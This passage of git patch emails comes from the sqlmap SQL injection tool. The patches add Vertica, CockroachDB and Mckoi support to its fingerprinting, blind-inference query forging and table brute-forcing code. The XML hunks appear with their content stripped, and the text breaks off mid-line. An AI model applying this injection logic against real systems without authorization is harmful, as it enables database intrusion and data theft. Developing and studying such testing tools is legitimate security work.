Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -723,7 +727,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -790,7 +794,7 @@ class Databases(object): continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None @@ -840,7 +844,7 @@ class Databases(object): singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index ad0ae9003..5a903433f 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -232,7 +232,7 @@ class Entries(object): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -405,7 +405,7 @@ class Entries(object): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 1636522eb..f94fc6eab 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -441,7 +441,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.isDbms(DBMS.VERTICA): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -580,7 +580,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.isDbms(DBMS.VERTICA): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is From 4be7c7dcee9aec20f7122b1ba08e2e8893c1244f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 Jan 2020 22:29:26 +0100 Subject: [PATCH 093/159] Trivial patch --- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 780eb9ea2..9b7f6198a 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -124,7 +124,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 30f4719fd..47629aeae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.33" +VERSION = "1.4.1.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 20700fd6b9b46d882339c94181acc1d32540224d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 21 Jan 2020 23:19:11 +0100 Subject: [PATCH 094/159] Adding support for CockroachDB (Postgres fork) --- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 18 +++++++++++------- plugins/dbms/postgresql/fingerprint.py | 15 +++++++++++++++ plugins/dbms/vertica/fingerprint.py | 1 - 5 files changed, 28 insertions(+), 9 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 31734f24c..dcfba516c 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -70,6 +70,7 @@ class DBMS_DIRECTORY_NAME(object): class FORK(object): MARIADB = "MariaDB" MEMSQL = "MemSQL" + COCKROACHDB = "CockroachDB" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 47629aeae..81751c623 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.34" +VERSION = "1.4.1.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 367b5969e..e6ea36765 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -96,6 +96,12 @@ class Fingerprint(GenericFingerprint): return None def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + fork = inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and FORK.MARIADB or "" + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -111,12 +117,10 @@ class Fingerprint(GenericFingerprint): value += "back-end DBMS: " actVer = Format.getDbms() - _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) - if _: - actVer += " (%s fork)" % _ - if not conf.extensiveFp: value += actVer + if fork: + value += " (%s fork)" % fork return value comVer = self._commentCheck() @@ -142,6 +146,9 @@ class Fingerprint(GenericFingerprint): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -189,9 +196,6 @@ class Fingerprint(GenericFingerprint): return False - if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and FORK.MARIADB or "") - # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index a2dec6fc5..fab1ef358 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -7,10 +7,14 @@ See the file 'LICENSE' for copying permission from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES @@ -22,6 +26,12 @@ class Fingerprint(GenericFingerprint): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + fork = inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'") and FORK.COCKROACHDB or "" + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -38,6 +48,8 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: value += DBMS.PGSQL + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -56,6 +68,9 @@ class Fingerprint(GenericFingerprint): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index 95ec9d188..c72e24982 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -11,7 +11,6 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS -from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import VERTICA_ALIASES from lib.request import inject From 60b642e2bd211f95abe1342bc4b21d820d6237bb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Jan 2020 23:41:06 +0100 Subject: [PATCH 095/159] Adding support for Mckoi --- data/xml/errors.xml | 6 ++ data/xml/queries.xml | 42 ++++++++++++++ lib/controller/checks.py | 6 +- lib/controller/handler.py | 4 ++ lib/core/agent.py | 14 +++-- lib/core/common.py | 4 +- lib/core/dicts.py | 2 + lib/core/enums.py | 2 + lib/core/settings.py | 12 +++- lib/request/inject.py | 2 +- lib/techniques/blind/inference.py | 8 +++ lib/utils/brute.py | 18 ++++-- plugins/dbms/derby/takeover.py | 21 +++++-- plugins/dbms/mckoi/__init__.py | 29 ++++++++++ plugins/dbms/mckoi/connector.py | 15 +++++ plugins/dbms/mckoi/enumeration.py | 84 ++++++++++++++++++++++++++++ plugins/dbms/mckoi/filesystem.py | 18 ++++++ plugins/dbms/mckoi/fingerprint.py | 93 +++++++++++++++++++++++++++++++ plugins/dbms/mckoi/syntax.py | 18 ++++++ plugins/dbms/mckoi/takeover.py | 28 ++++++++++ plugins/dbms/monetdb/takeover.py | 21 +++++-- plugins/dbms/vertica/takeover.py | 21 +++++-- plugins/generic/databases.py | 32 ++++++----- plugins/generic/entries.py | 8 +-- plugins/generic/search.py | 4 +- 25 files changed, 462 insertions(+), 50 deletions(-) create mode 100644 plugins/dbms/mckoi/__init__.py create mode 100644 plugins/dbms/mckoi/connector.py create mode 100644 plugins/dbms/mckoi/enumeration.py create mode 100644 plugins/dbms/mckoi/filesystem.py create mode 100644 plugins/dbms/mckoi/fingerprint.py create mode 100644 plugins/dbms/mckoi/syntax.py create mode 100644 plugins/dbms/mckoi/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 1fcf85ea1..3afdbc91c 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -196,4 +196,10 @@ + + + + + +
diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 9b7f6198a..c606cbce7 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1088,4 +1088,46 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a26a2e652..13d7d1fc5 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -879,12 +879,12 @@ def heuristicCheckDbms(injection): kb.injection = injection for dbms in getPublicTypeMembers(DBMS, True): - randStr1, randStr2 = randomStr(), randomStr() - Backend.forceDbms(dbms) - if conf.noEscape and dbms not in FROM_DUMMY_TABLE: continue + randStr1, randStr2 = randomStr(), randomStr() + Backend.forceDbms(dbms) + if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms diff --git a/lib/controller/handler.py b/lib/controller/handler.py index b26218ae5..5fca7156a 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -11,6 +11,7 @@ from lib.core.data import kb from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.exception import SqlmapConnectionException +from lib.core.settings import MCKOI_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES @@ -29,6 +30,8 @@ from lib.core.settings import DERBY_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.utils.sqlalchemy import SQLAlchemy +from plugins.dbms.mckoi import MckoiMap +from plugins.dbms.mckoi.connector import Connector as MckoiConn from plugins.dbms.mssqlserver import MSSQLServerMap from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn from plugins.dbms.mysql import MySQLMap @@ -85,6 +88,7 @@ def setHandler(): (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), + (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index 719b6758a..dd6cc5dae 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -47,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT +from lib.core.settings import GENERIC_SQL_COMMENT_MARKER from lib.core.settings import INFERENCE_MARKER from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER @@ -297,8 +298,8 @@ class Agent(object): where = getTechniqueData().where if where is None else where comment = getTechniqueData().comment if comment is None else comment - if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")): - comment = queries[DBMS.ACCESS].comment.query + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): + comment = queries[Backend.getIdentifiedDbms()].comment.query if comment is not None: expression += comment @@ -454,7 +455,7 @@ class Agent(object): else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field - if Backend.getIdentifiedDbms() in (DBMS.ACCESS,): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI): nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) else: nulledCastedField = rootQuery.isnull.query % nulledCastedField @@ -656,7 +657,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -1058,12 +1059,15 @@ class Agent(object): def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search(r"\ASELECT\s+", expression, re.I) + selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I) selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) - if selectTopExpr or selectMinMaxExpr: + if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom: + lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2)) + elif selectTopExpr or selectMinMaxExpr: lengthExpr = lengthQuery % ("(%s)" % expression) elif select: lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) diff --git a/lib/core/common.py b/lib/core/common.py index ec8d21676..b35e1074b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4069,7 +4069,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4107,7 +4107,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 821df4b23..679dc6f5b 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -18,6 +18,7 @@ from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MCKOI_ALIASES from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES @@ -204,6 +205,7 @@ DBMS_DICT = { DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), + DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), } FROM_DUMMY_TABLE = { diff --git a/lib/core/enums.py b/lib/core/enums.py index dcfba516c..2d51dd080 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -48,6 +48,7 @@ class DBMS(object): MONETDB = "MonetDB" DERBY = "Apache Derby" VERTICA = "Vertica" + MCKOI = "Mckoi" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -66,6 +67,7 @@ class DBMS_DIRECTORY_NAME(object): MONETDB = "monetdb" DERBY = "derby" VERTICA = "vertica" + MCKOI = "mckoi" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 81751c623..c61bb55c7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.35" +VERSION = "1.4.1.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -75,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" +GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" @@ -261,6 +262,7 @@ INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) +MCKOI_SYSTEM_DBS = ("",) MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql") @@ -278,13 +280,16 @@ INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) +MCKOI_ALIASES = ("mckoi",) + +UPPER_CASE_IDENTIFIERS = {DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY} DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") @@ -293,6 +298,7 @@ HOST_ALIASES = ("host",) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" +MCKOI_DEFAULT_SCHEMA = "APP" # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") diff --git a/lib/request/inject.py b/lib/request/inject.py index 0393d0327..cf42b3347 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -496,7 +496,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" + warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 37853748f..bd90f75bc 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -108,6 +108,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return 0, retVal + if Backend.isDbms(DBMS.MCKOI): + match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + original = queries[Backend.getIdentifiedDbms()].inference.query + right = original.split('<')[1] + payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) + expression = match.group(1).strip() + try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: diff --git a/lib/utils/brute.py b/lib/utils/brute.py index ed2c2b661..4004bffd9 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -41,6 +41,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_IDENTIFIERS from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject @@ -83,7 +84,7 @@ def tableExists(tableFile, regex=None): pushValue(conf.db) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: conf.db = conf.db.upper() message = "which common tables (wordlist) file do you want to use?\n" @@ -131,7 +132,11 @@ def tableExists(tableFile, regex=None): else: fullTableName = table - result = 